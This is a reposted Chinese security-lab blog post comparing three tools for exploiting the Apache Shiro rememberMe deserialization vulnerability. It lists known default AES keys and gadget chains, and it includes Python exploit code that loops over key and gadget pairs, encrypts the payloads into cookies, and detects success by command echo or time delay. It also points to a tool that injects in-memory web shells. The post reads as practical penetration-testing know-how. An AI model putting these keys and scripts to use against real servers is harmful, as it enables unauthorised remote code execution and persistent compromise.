暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

【技术交流】Apache Shiro 不同场景&各工具使用心得

燕云实验室 2021-06-28
1839



“燕云实验室”是河北千诚电子科技有限公司成立的网络安全攻防技术研究实验室。专注于web安全,网络攻防,安全运维,应急溯源方面的研究,开发成果应用于产品核心技术转化,国家重点科技项目攻关。



 

对于Shiro反序列化漏洞的分析各个师傅们已经码过很多文章了,包括组件识别、key遍历、回显payload、内存shell、CBC&GCM算法等等,尤其在2020年3月到年底,基本上每个月都有惊喜更通用的payload、更稳定的工具等等,现在各个师傅已经把Shiro分析的就像没穿衣服一样了。

 

Shiro、Struts2、Fastjson(我们仨)无疑是各位师傅们最喜欢的三剑客

尤其Shiro,当属其中的老大哥

其独特的加密使得各个waf和安全产品无法拦截

其重要的功能有在各个系统中被广泛使用

 

所以这篇文章仍然讲Shiro,但不再讲解分析和原理,现在网上有大量优质的相关文章,故来给大家讲解一哈各利用工具的使用场景和使用心得

 



一、Vulmap适合批量盲扫


Vulmap从0.2版本集成Shiro到现在为止,共内置了5个key和6个可回显gadget,分别是

    kPH+bIxk5D2deZiIxcaaaA==
    fCq+/xW488hMTCD+cmJ3aQ==
    4AvVhmFLUs0KTA3Kprsdag==
    Z3VucwAAAAAAAAAAAAAAAA==
    0AvVhmFLUs0KTA3Kprsdag==
    CommonsBeanutils1
    CommonsBeanutils2
    CommonsCollectionsK1
    CommonsCollectionsK2
    Jdk7u21
    Jdk8u20


    Github:https://github.com/zhzyker/vulmap

     

    但由于工具整体是由python写的,目前无法向java工具那样灵活的生成和调用ysoserial的gadget去生成payload,以其他python工具为例基本都是通过系统命令调用ysoserial生成payload,怎么看怎么难受

    随着时间推移Shiro的回显payload公布后vulmap内部实际上是将已经加密好的payload内置了进去,命令放在header中直接走回显,核心代码是

      cmd = "echo " + md
      headers = {
      'User-agent': self.ua,
      'Testcmd': cmd
      }
      shiro = False
      key_lists = ['kPH+bIxk5D2deZiIxcaaaA==', 'fCq+/xW488hMTCD+cmJ3aQ==', '4AvVhmFLUs0KTA3Kprsdag==',
      'Z3VucwAAAAAAAAAAAAAAAA==', '0AvVhmFLUs0KTA3Kprsdag==']
      gadget_lists = [self.CommonsBeanutils1, self.CommonsBeanutils2, self.CommonsCollectionsK1,
      self.CommonsCollectionsK2, self.Jdk7u21, self.Jdk8u20]
      try:
      for key in key_lists:
      for gadget in gadget_lists:
      bs = AES.block_size
      def pad(s): return s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode()
      mode = AES.MODE_CBC
      iv = uuid.uuid4().bytes
      encryptor = AES.new(base64.b64decode(key), mode, iv)
      file_body = pad(base64.b64decode(gadget))
      base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)).decode()
      request = requests.get(self.url, headers=headers, cookies={'rememberMe': base64_ciphertext},
      timeout=self.timeout, verify=False)
      self.raw_data = dump.dump_all(request).decode('utf-8', 'ignore')
      if "joYjqcyKkSAI" in gadget:
      gadget = "CommonsBeanutils1"
      elif r"PjgGC/k7xfgI" in gadget:
      gadget = "CommonsBeanutils2"
      elif r"MdwgAAAAQAAAAAHh4dAABdHg=" in gadget:
      gadget = "CommonsCollectionsK1"
      elif r"AAAADHcIAAAAEAAAAAB4eHQAAXR4" in gadget:
      gadget = "CommonsCollectionsK2"
      elif r"B4cHcMAAAAED9AAAAAAAA" in gadget:
      gadget = "Jdk7u21"
      elif r"BzcgA6Y29tLnN1bi5vcmc" in gadget:
      gadget = "Jdk8u20"
      if md in request.text:
      shiro = True

       

      主要是两个for循环内测试所有key和gatget的组合,因此控制了key的数量,仅包含目前我认为最常见的几个key,实现方式比较简单粗暴。

       

      总结适合批量盲扫,准确性高扫到即可利用

      但内置key和gadget数量少,可能会有遗漏,目前不支持GCM算法

      效果

       


      当针对一个站点确定是Shiro又测不出来这是就要换工具了

       



      二、足够的key&gadget但无回显


      回显是很香,但可用的gadget不多,要遍历所有gadget就要舍去回显了,为此也有写一个小工具来跑全所有key&gadget,这里还有个问题就是检测方式,主流的两种一种走dnslog一种延时,dnslog目标不出网gg,于是最终使用延时方式,方便即使在纯内网环境仍然可以检测

      Github:https://github.com/zhzyker/shiro-1.2.4-rce

      为了延时功能修改了原版ysoserial.jar更名为ysoserial-sleep.jar

      Python的核心代码是

        print ("[*] Testing gadget")
        for gadget in gadget_list:
        print ("[*] Check gadget: " + gadget)
        for key in key_list:
        popen = subprocess.Popen(['java', '-jar', ysoserial, gadget, cmd_sleep], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        payload = base64_ciphertext.decode()
        try:
        r = requests.get(url, headers=header, cookies={'rememberMe': payload}, timeout=10)
        time = r.elapsed.seconds
        if time >= 5:
        key_succes = key
        gadget_succes = gadget
        print ("[+] Find gadget: " + gadget_succes)
        else:
        key_failed = key
        gadget_failed = gadget
        except:
        print ("[-] Check Failed: " + gadget)

        完整代码在github中详见上边的链接,实际上还是循环遍历所有payload,默认延时5s,判断也很简单>5s即为成功,延时时间可根据不同情况修改,具体在这里

         

        实际使用中发现这个脚本在互联网测试站点误报率还是较大,主要是还是网络波动的影响,但是如果处在内网绝对稳定且全乎,默认内置了25个key和ysoserial的所有gadget,也可以根据自己需求再添加更多key

         

        总结就是不适合批量适合单站深测

        可用于内网或目标不出网

        暂时不支持GCM算法

         

        效果

         

        如果你想要图形化又功能比较多的工具,有,这里就推荐@j1anFen师傅的利用工具了

         



        三、最全乎的功能


        目前功能最全这里就要推荐j1anFen师傅的的shiro_attack.jar了

        Github: https://github.com/j1anFen/shiro_attack

        实现的功能包括

        1. 检出默认key (SimplePrincipalCollection) cbc/gcm

        2. Tomcat/Springboot 回显命令执行

        3. 集成CommonsCollectionsK1/K2

        4. 通过POST请求中defineClass字节码实现注入内存马(Servlet实现参考哥斯拉内存马)

        5. resources目录下shiro_keys.txt可扩展key

         

        图形化的界面点一点很方便

         

         

        总结不适合批量,丰富功能适合单点测出洞后后续利用

        支持GCM可测出更多种类,但gadget数量有限

        效果


        没啦~😅


        END






        文章转载自燕云实验室,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

        评论